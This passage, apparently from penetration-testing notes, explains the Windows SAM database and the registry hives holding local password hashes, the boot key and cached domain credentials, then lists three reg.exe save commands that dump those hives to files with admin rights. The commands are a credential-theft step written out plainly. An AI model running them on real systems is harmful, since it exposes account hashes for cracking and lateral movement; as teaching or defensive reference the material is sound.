It is a Microsoft Windows operating system database file that contains LOCAL usernames and passwords. Hives are sections of the Windows Registry that contain critical configurations and system data.
Registry Hive: Description
hklm\sam: Contains password hashes for local accounts.
hklm\system: Includes the system boot key (bootkey), used to encrypt and decrypt the SAM.
hklm\security: Stores cached credentials for domain accounts.
Extracting Registry Hives
With admin privileges in CMD:
powershell
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save